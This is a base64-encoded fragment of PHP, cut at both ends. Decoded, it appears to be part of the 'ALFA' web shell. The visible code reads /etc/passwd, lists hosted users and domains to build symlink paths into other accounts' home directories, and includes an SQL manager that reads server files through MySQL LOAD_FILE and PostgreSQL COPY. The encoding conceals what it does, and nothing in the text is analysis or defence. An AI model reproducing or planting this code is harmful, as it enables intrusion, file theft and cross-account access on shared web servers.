Cgkc29sZSBhcyAkdmlzaWJsZSl7DQoJCWlmKEBzdHJzdHIoJHZpc2libGUsIjoiKSl7DQoJCQkkc29sZXZpc2libGUgPSBleHBsb2RlKCc6JywgJHZpc2libGUpOw0KCQkJJGN3ZCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCB0cmltKCRzb2xldmlzaWJsZVsxXSksICRtYWtlcHdkKTsNCgkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7dXNlcn0iLCJ7dXJsfSIsIntjd2R9IiksIGFycmF5KCRjb3VudCsrLCB0cmltKCRzb2xldmlzaWJsZVsxXSksIHRyaW0oJHNvbGV2aXNpYmxlWzBdKSwgJGN3ZCksICR0ZW1wbGF0ZSk7DQoJCX0NCgl9DQp9ZWxzZXsNCgkkcGFzc3dkID0gX2FsZmFfZmlsZSgiL2V0Yy9wYXNzd2QiKTsNCglpZigkcGFzc3dkKXsNCgkJJGh0bWwgPSAiIjsNCgkJJGlzX25hbWVkID0gZmFsc2U7DQoJCSR1c2VycyA9IGFycmF5KCk7DQoJCSRkb21haW5zID0gYXJyYXkoKTsNCgkJJHVrbm93bnMgPSBhcnJheSgpOw0KCQlmb3JlYWNoKCRwYXNzd2QgYXMgJHVzZXIpew0KCQkJJHVzZXIgPSB0cmltKCR1c2VyKTsNCgkJCSRleHBsID0gZXhwbG9kZSgiOiIsICR1c2VyKTsNCgkJCWlmKChpbnQpJGV4cGxbMl0gPCA1MDApY29udGludWU7DQoJCQkkdXNlcnNbJGV4cGxbMF1dID0gJGV4cGxbNV07DQoJCX0NCgkJJHNpdGVfZG9tYWlucyA9IEBzY2FuZGlyKCIvZXRjL3ZpcnR1YWwvIik7DQoJCWlmKCEkc2l0ZV9kb21haW5zKXsNCgkJCSRzaXRlX2RvbWFpbnMgPSBhbGZhRXgoImxzIC9ldGMvdmlydHVhbC8iKTsNCgkJCSRzaXRlX2RvbWFpbnMgPSBleHBsb2RlKCJcbiIsICRzaXRlX2RvbWFpbnMpOw0KCQkJaWYoISRzaXRlX2RvbWFpbnMpew0KCQkJCSRzaXRlX2RvbWFpbnMgPSBfYWxmYV9maWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCgkJCQlpZigkc2l0ZV9kb21haW5zKXskaXNfbmFtZWQgPSB0cnVlO30NCgkJCX0NCgkJfQ0KCQlmb3JlYWNoKCRzaXRlX2RvbWFpbnMgYXMgJGxpbmUpew0KCQkJaWYoJGlzX25hbWVkKXsNCgkJCQlpZihAc3Ryc3RyKCRsaW5lLCAnem9uZScpKXsNCgkJCQkJcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRsaW5lLCAkZGF0YSk7DQoJCQkJCSRkb21haW4gPSAkZGF0YVsxXVswXTsNCgkJCQkJaWYoc3RybGVuKCRkb21haW4gID4gMikgJiYgIWVtcHR5KCRkb21haW4pKXsNCgkJCQkJCSRkb21haW5zW10gPSAkZG9tYWluOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfWVsc2V7DQoJCQkJJGRvbWFpbnNbXSA9ICRsaW5lOw0KCQkJfQ0KCQl9DQoJCSR4ID0gMTsNCgkJZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIgPT4gJGhvbWUpew0KCQkJZm9yZWFjaCgkZG9tYWlucyBhcyAkZG9tYWluKXsNCgkJCQkkdXNlcl9sZW4gPSBzdHJsZW4oJHVzZXIpIC0gMTsNCgkJCQkkc3ViX2RvbWFpbiA9IHN0cl9yZXBsYWNlKGFycmF5KCItIiwiLiIpLCAiIiwgJGRvbWFpbik7DQoJCQkJJGZpdmVfdXNlciA9IHN1YnN0cigkdXNlciwgMCwkdXNlcl9sZW4pOw0KCQkJCSRmaXZlX2RvbWFpbiA9IHN1YnN0cigkc3ViX2RvbWFpbiwgMCwkdXNlcl9sZW4pOw0KCQkJCWlmKCRmaXZlX3VzZXIgPT0gJGZpdmVfZG9tYWluKXsNCgkJCQkJaWYoJGlzX2RpcmVjdCl7DQoJCQkJCQkkY3dkID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VyLCAkbWFrZXB3ZCk7DQoJCQkJCX1lbHNlew0KCQkJCQkJJGV4cGwgPSBleHBsb2RlKCJ9LyIsICRtYWtlcHdkKTsNCgkJCQkJCSRjd2QgPSAkaG9tZS4iLyIuJGV4cGxbMV07DQoJCQkJCX0NCgkJCQkJJGh0bWwgLj0gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7dXNlcn0iLCJ7dXJsfSIsICJ7Y3dkfSIpLCBhcnJheSgkeCsrLCAkdXNlciwgJGRvbWFpbiwgJGN3ZCksICR0ZW1wbGF0ZSk7DQoJCQkJfWVsc2V7DQoJCQkJCSR1a25vd25zWyR1c2VyXSA9ICRob21lOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkdWtub3ducyA9IGFycmF5X3VuaXF1ZSgkdWtub3ducyk7DQoJCWZvcmVhY2goJHVrbm93bnMgYXMgJHVzZXIgPT4gJGhvbWUpew0KCQkJaWYoJGlzX2RpcmVjdCl7DQoJCQkJJGN3ZCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkdXNlciwgJG1ha2Vwd2QpOw0KCQkJfWVsc2V7DQoJCQkJJGV4cGwgPSBleHBsb2RlKCJ9LyIsICRtYWtlcHdkKTsNCgkJCQkkY3dkID0gJGhvbWUuIi8iLiRleHBsWzFdOw0KCQkJfQ0KCQkJJGh0bWwgLj0gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7dXNlcn0iLCJ7dXJsfSIsICJ7Y3dkfSIpLCBhcnJheSgkeCsrLCAkdXNlciwgIls/Pz8/P10iLCAkY3dkKSwgJHRlbXBsYXRlKTsNCgkJfQ0KCQllY2hvKCRodG1sKTsNCgl9DQp9DQplY2hvICI8L3RhYmxlPiI7DQokY2FudF9zeW1saW5rID0gZmFsc2U7DQp9DQp9ZWxzZXsNCgllY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlsrXSBTeW1saW5rIEZ1bmN0aW9uIERpc2FibGVkICE8L2I+PC9mb250PjwvcHJlPjwvY2VudGVyPiI7DQoJJGNhbnRfc3ltbGluayA9IGZhbHNlOw0KfQ0KaWYoJGNhbnRfc3ltbGluayllY2hvICc8cHJlIGlkPSJzdHJPdXRwdXQiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgY2xhc3M9Im1sMSI+PGJyPjxmb250IGNvbG9yPSIjRkZGRkZGIj5FcnJvci4uLjwvZm9udD48L2I+PGJyPic7DQplY2hvICI8L2NlbnRlcj48L3RhYmxlPiI7DQp9DQplY2hvICI8L2Rpdj4iOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYXNxbCgpew0KY2xhc3MgRGJDbGFzc3sNCnB1YmxpYyAkdHlwZTsNCnB1YmxpYyAkbGluazsNCnB1YmxpYyAkcmVzOw0KcHVibGljICRteXNxbGlfY29ubmVjdF9lcnJvciA9IGZhbHNlOw0KcHVibGljICRteXNxbGlfY29ubmVjdF9lcnJvcl9tc2cgPSAiIjsNCmZ1bmN0aW9uIF9fY29uc3RydWN0KCR0eXBlKXsNCiR0aGlzLT50eXBlID0gJHR5cGU7DQp9DQpmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUpew0Kc3dpdGNoKCR0aGlzLT50eXBlKXsNCmNhc2UgJ215c3FsJzoNCmlmKCR0aGlzLT5saW5rID0gQG15c3FsaV9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLCRkYm5hbWUpKXsNCglyZXR1cm4gdHJ1ZTsNCn1lbHNlew0KCSR0aGlzLT5teXNxbGlfY29ubmVjdF9lcnJvciA9IHRydWU7DQoJJHRoaXMtPm15c3FsaV9jb25uZWN0X2Vycm9yX21zZyA9IG15c3FsaV9jb25uZWN0X2Vycm9yKCk7DQoJcmV0dXJuIGZhbHNlOw0KfQ0KYnJlYWs7DQpjYXNlICdwZ3NxbCc6DQokaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7DQppZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7DQppZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsNCmJyZWFrOw0KfQ0KcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKXsNCnN3aXRjaCgkdGhpcy0+dHlwZSl7DQpjYXNlICdteXNxbCc6DQppZihAbXlzcWxpX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOw0KYnJlYWs7DQp9DQpyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBxdWVyeSgkc3RyKXsNCnN3aXRjaCgkdGhpcy0+dHlwZSl7DQpjYXNlICdteXNxbCc6DQpyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbGlfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7DQpicmVhazsNCmNhc2UgJ3Bnc3FsJzoNCnJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOw0KYnJlYWs7DQp9DQpyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBmZXRjaCgpew0KJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsNCnN3aXRjaCgkdGhpcy0+dHlwZSl7DQpjYXNlICdteXNxbCc6DQpyZXR1cm4gQG15c3FsaV9mZXRjaF9hc3NvYygkcmVzKTsNCmJyZWFrOw0KY2FzZSAncGdzcWwnOg0KcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsNCmJyZWFrOw0KfQ0KcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gbGlzdERicygpew0Kc3dpdGNoKCR0aGlzLT50eXBlKXsNCmNhc2UgJ215c3FsJzoNCnJldHVybiAkdGhpcy0+cXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7DQpicmVhazsNCmNhc2UgJ3Bnc3FsJzoNCnJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdIRVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOw0KYnJlYWs7DQp9DQpyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBsaXN0VGFibGVzKCl7DQpzd2l0Y2goJHRoaXMtPnR5cGUpew0KY2FzZSAnbXlzcWwnOg0KcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7DQpicmVhazsNCmNhc2UgJ3Bnc3FsJzoNCnJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7DQpicmVhazsNCn0NCnJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIGVycm9yKCl7DQpzd2l0Y2goJHRoaXMtPnR5cGUpew0KY2FzZSAnbXlzcWwnOg0KcmV0dXJuIEBteXNxbGlfZXJyb3IoJHRoaXMtPmxpbmspOw0KYnJlYWs7DQpjYXNlICdwZ3NxbCc6DQpyZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsNCmJyZWFrOw0KfQ0KcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gc2V0Q2hhcnNldCgkc3RyKXsNCnN3aXRjaCgkdGhpcy0+dHlwZSl7DQpjYXNlICdteXNxbCc6DQppZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpDQpyZXR1cm4gQG15c3FsaV9zZXRfY2hhcnNldCgkdGhpcy0+bGluaywkc3RyKTsNCmVsc2UNCiR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCmJyZWFrOw0KY2FzZSAncGdzcWwnOg0KcmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3RyKTsNCmJyZWFrOw0KfQ0KcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gbG9hZEZpbGUoJHN0cil7DQpzd2l0Y2goJHRoaXMtPnR5cGUpew0KY2FzZSAnbXlzcWwnOg0KcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsNCmJyZWFrOw0KY2FzZSAncGdzcWwnOg0KJHRoaXMtPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgc29sZXZpc2libGUoZmlsZSB0ZXh0KTtDT1BZIHNvbGV2aXNpYmxlIEZST00gJyIuYWRkc2xhc2hlcygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIHNvbGV2aXNpYmxlOyIpOw0KJHI9YXJyYXkoKTsNCndoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKQ0KJHJbXSA9ICRpWydmaWxlJ107DQokdGhpcy0+cXVlcnkoJ2Ryb3AgdGFibGUgc29sZXZpc2libGUnKTsNCnJldHVybiBhcnJheSgnZmlsZSc9PmltcGxvZGUoIlxuIiwkcikpOw0KYnJlYWs7DQp9DQpyZXR1cm4gZmFsc2U7DQp9DQp9Ow0KJGRiID0gbmV3IERiQ2xhc3MoJF9QT1NUWyd0eXBlJ10pOw0KYWxmYWhlYWQoKTsNCiRmb3JtX3Zpc2liaWxpdHkgPSAidGFibGUiOw0KaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7DQoJJGNvbm5lY3Rpb25fZGIgPSAkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7DQoJaWYoJGNvbm5lY3Rpb25fZGIgJiYgIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpew0KCQkkZm9ybV92aXNpYmlsaXR5ID0gIm5vbmUiOw0KCX0NCn0NCiRkYXRhYmFzZV9saXN0ID0gYXJyYXkoKTsNCmVjaG8gIg0KPGRpdiBjbGFzcz0naGVhZGVyJyBzdHlsZT0nbWluLWhlaWdodDozMDBweDsnPiIuKCRmb3JtX3Zpc2liaWxpdHkhPSJub25lIj8iPGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBTcWwgTWFuYWdlciB8PC9kaXY+PHA+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPC9wPjwvY2VudGVyPjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO21hcmdpbi1ib3R0b206IDEwcHg7Jz48YnV0dG9uIGNsYXNzPSdjb25uZWN0aW9uLWhpcy1idG4gZGItb3B0LWlkJyBvbmNsaWNrPSdhbGZhU2hvd0Nvbm5lY3Rpb25IaXN0b3J5KHRoaXMpOycgbW9kZT0nb24nPkNvbm5lY3Rpb24gSGlzdG9yeTwvYnV0dG9uPjxkaXYgY2xhc3M9J2Nvbm5lY3Rpb25faGlzdG9yeV9ob2xkZXInPjwvZGl2PjwvZGl2PiI6IiIpLiINCjxkaXYgY2xhc3M9J3NmJyBjbGFzcz0nZGItb3B0LWlkJz48dGFibGUgc3R5bGU9J21hcmdpbjogMCBhdXRvOyIuKCRmb3JtX3Zpc2liaWxpdHk9PSJub25lIj8iZGlzcGxheTpub25lOyI6IiIpLiInIGNlbGxwYWRkaW5nPScyJyBjZWxsc3BhY2luZz0nMCc+PHRyPg0KPHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+VFlQRTwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+SE9TVDwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgVVNFUjwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgUEFTUzwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgTkFNRTwvZGl2PjwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+DQo8dGQ+PHNlbGVjdCBuYW1lPSd0eXBlJz48b3B0aW9uIHZhbHVlPSdteXNxbCcgc2VsZWN0ZWQ+bXlzcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfaG9zdCcgaWQ9J2RiX2hvc3QnIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfaG9zdCddKT8nbG9jYWxob3N0JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2hvc3QnXSkpIC4iJz48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfbG9naW4nIGlkPSdkYl91c2VyJyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpIC4iJz48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfcGFzcycgaWQ9J2RiX3B3JyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuIic+PC90ZD48dGQ+IjsNCiR0bXAgPSAiPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NxbF9iYXNlJyBpZD0nZGJfbmFtZScgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfYmFzZSddKSkgLiInPiI7DQppZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsNCmlmKCRjb25uZWN0aW9uX2RiKXsNCiRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOw0KJGRiLT5saXN0RGJzKCk7DQplY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOw0Kd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsNCmxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOw0KJGRhdGFiYXNlX2xpc3RbXSA9ICR2YWx1ZTsNCmVjaG8gJzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsdWUuJzwvb3B0aW9uPic7DQp9DQplY2hvICc8L3NlbGVjdD4nOw0KfWVsc2V7DQoJZWNobyAkdG1wOw0KfQ0KfWVsc2UNCmVjaG8gJHRtcDsNCiRjdXJyX215c3FsX2lkID0gJF9QT1NUWydjdXJyZW50X215c3FsX2lkJ107DQplY2hvICI8L3RkPg0KPHRkPjxidXR0b24gb25jbGljaz0nZnModGhpcyk7cmV0dXJuIGZhbHNlOycgY2xhc3M9J2RiLW9wdC1pZCBkYi1jb25uZWN0LWJ0bic+Q29ubmVjdDwvYnV0dG9uPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdzcWxfY291bnQnIHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hlY2tlZCcpIC4gIj4gPGRpdiBjbGFzcz1cInR4dGZvbnRcIj5jb3VudCB0aGUgbnVtYmVyIG9mIHJvd3M8L2Rpdj48L3RkPg0KPC90cj4NCjwvdGFibGU+IjsNCmlmKCRkYi0+bXlzcWxpX2Nvbm5lY3RfZXJyb3Ipew0KCWVjaG8gJzxkaXYgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjtmb250LXNpemU6IDE3cHg7bWFyZ2luLXRvcDogMThweDsiPicuJGRiLT5teXNxbGlfY29ubmVjdF9lcnJvcl9tc2cuJzwvZGl2Pic7DQp9DQppZighZW1wdHkoJGN1cnJfbXlzcWxfaWQpKXsNCgkkc3FsX3RpdGxlX2RiID0gIiI7DQoJaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpew0KCQkkc3FsX3RpdGxlX2RiID0gImQucXVlcnlTZWxlY3RvcignI3RhYl8iLiRjdXJyX215c3FsX2lkLiIgc3BhbicpLmlubmVySFRNTD0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2Jhc2UnXSkuIic7IjsNCgl9DQoJZWNobyAiPHNjcmlwdD5teXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ2hvc3QnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2hvc3QnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWyd1c2VyJ109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9sb2dpbiddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ3Bhc3MnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX3Bhc3MnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydkYiddPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ2NoYXJzZXQnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnY2hhcnNldCddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ3R5cGUnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsndHlwZSddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ2NvdW50J109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9jb3VudCddKS4iJzsiLiRzcWxfdGl0bGVfZGIuImFsZmFDb25uZWN0aW9uSGlzdG9yeVVwZGF0ZSgpOzwvc2NyaXB0PiI7DQp9DQppZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7DQppZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7DQplY2hvICI8ZGl2IGNsYXNzPSdteXNxbC1tYWluJz48ZGl2IG1vZGU9J2Jsb2NrJyBvbmNsaWNrPSdhbGZhTXlzcWxUYWJsZVBhbmVsQ3RsKHRoaXMpOycgY2xhc3M9J3RhYmxlcy1wYW5lbC1jdGwgZGItb3B0LWlkJz4mI3gzQzsmI3gzQzs8L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC10YWJsZXMnPjxkaXY+PGlucHV0IHBsYWNlaG9sZGVyPVwiRmlsdGVyIFRhYmxlXCIgc3R5bGU9J3BhZGRpbmc6IDA7bWFyZ2luLWxlZnQ6IDExcHg7dGV4dC1hbGlnbjpjZW50ZXI7JyB0eXBlPSd0ZXh0JyBuYW1lPSdmaWx0ZXJfYWxsJz48YnV0dG9uIGNsYXNzPSdkYi1vcHQtaWQnIG9uY2xpY2s9J2FsZmFNeXNxbEZpbHRlckFsbFRhYmxlKHRoaXMpO3JldHVybiBmYWxzZTsnPlNlYXJjaDwvYnV0dG9uPjwvZGl2PjxkaXYgY2xhc3M9J2Jsb2NrJz48YSBzcWxfY291bnQ9JyIuKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPyJmYWxzZSI6InRydWUiKS4iJyBtb2RlPSdjbG9zZWQnIG9uY2xpY2s9J2FsZmFNeXNxbEZpbHRlckFsbFRhYmxlKHRoaXMsdHJ1ZSk7JyBjbGFzcz0nZXhwYW5kZXIgcGFyZW50LWV4cGFuZGVyIGRiLW9wdC1pZCcgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOyc+PGltZyBzcmM9J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9iX3BsdXMucG5nJyB0aXRsZT0nRXhwYW5kL0NvbGxhcHNlIEFsbCBEYXRhQmFzZXMnIGFsdD0nRXhwYW5kL0NvbGxhcHNlIEFsbCBEYXRhQmFzZXMnPjwvYT48L2Rpdj48dWwgc3R5bGU9J21hcmdpbi10b3A6IDI4cHg7Jz4iOw0KZm9yZWFjaCAoJGRhdGFiYXNlX2xpc3QgYXMgJGRiX25hbWUpIHsNCgllY2hvICc8bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PGEgc3FsX2NvdW50PSInLihlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8iZmFsc2UiOiJ0cnVlIikuJyIgZGJfdGFyZ2V0PSInLiRkYl9uYW1lLiciIG9uY2xpY2s9ImFsZmFNeXNxbEV4cGFuZGVyKHRoaXMpOyIgY2xhc3M9ImV4cGFuZGVyIGNscy0nLiRkYl9uYW1lLictZXhwYW5kZXIgZGItb3B0LWlkIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7Ij48aW1nIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51LycuKCRkYl9uYW1lID09ICRfUE9TVFsnc3FsX2Jhc2UnXT8iYl9taW51cy5wbmciOiJiX3BsdXMucG5nIikuJyIgdGl0bGU9IkV4cGFuZC9Db2xsYXBzZSIgYWx0PSJFeHBhbmQvQ29sbGFwc2UiPjwvYT48L2Rpdj48c3BhbiBjbGFzcz0iZGJfbmFtZSI+Jy4kZGJfbmFtZS4nPC9zcGFuPjxkaXYgY2xhc3M9ImNsZWFyZmxvYXQiPjwvZGl2PjxkaXYgZGJfbmFtZT0iJy4kZGJfbmFtZS4nIiBtb2RlPSInLigkZGJfbmFtZSA9PSAkX1BPU1RbJ3NxbF9iYXNlJ10/ImxvYWRlZCI6Im5vIikuJyIgY2xhc3M9Imxpc3RfY29udGFpbmVyIGNscy0nLiRkYl9uYW1lLiciPjxkaXY+JzsNCglpZigkZGJfbmFtZSA9PSAkX1BPU1RbJ3NxbF9iYXNlJ10pew0KCQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQoJCSR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOw0KCQllY2hvICc8dWw+PGxpPjxkaXYgY2xhc3M9ImJsb2NrIj48aT48L2k+PGI+PC9iPjwvZGl2PjxkaXY+PGlucHV0IHN0eWxlPSJwYWRkaW5nOiAwO21hcmdpbi1sZWZ0OiAxMXB4O3RleHQtYWxpZ246Y2VudGVyOyIgdHlwZT0idGV4dCIgY2xhc3M9ImRiLW9wdC1pZCIgdGFyZ2V0PSIuY2xzLScuJGRiX25hbWUuJyIgcGxhY2Vob2xkZXI9IkZpbHRlciBUYWJsZSIgb25rZXl1cD0iYWxmYU15c3FsRmlsdGVyVGFibGUodGhpcyk7IiBuYW1lPSJmaWx0ZXIiPjwvZGl2PjwvbGk+JzsNCgkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCR0YmxzX3Jlcykpew0KCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCgkJaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pKQ0KCQkkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSBgJy4kdmFsdWUuJ2AnKSk7DQoJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsNCgkJZWNobyAiPGxpPjxkaXYgY2xhc3M9J2Jsb2NrJz48aT48L2k+PGI+PC9iPjwvZGl2PjxkaXYgY2xhc3M9J3RhYmxlcy1yb3cnPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBjbGFzcz0nZGItb3B0LWlkJyBkYl90YXJnZXQ9JyIuJGRiX25hbWUuIicgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz1cImFsZmFMb2FkVGFibGVEYXRhKHRoaXMsJyIuJHZhbHVlLiInKVwiPjxzcGFuIGNsYXNzPSdteXNxbF90YWJsZXMnIHN0eWxlPSdmb250LXdlaWdodDp1bnNldDsnPiIuJHZhbHVlLiI8L3NwYW4+PC9hPiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/JyZuYnNwOyc6IiA8c21hbGw+PHNwYW4gc3R5bGU9J2ZvbnQtd2VpZ2h0OnVuc2V0OycgY2xhc3M9J215c3FsX3RhYm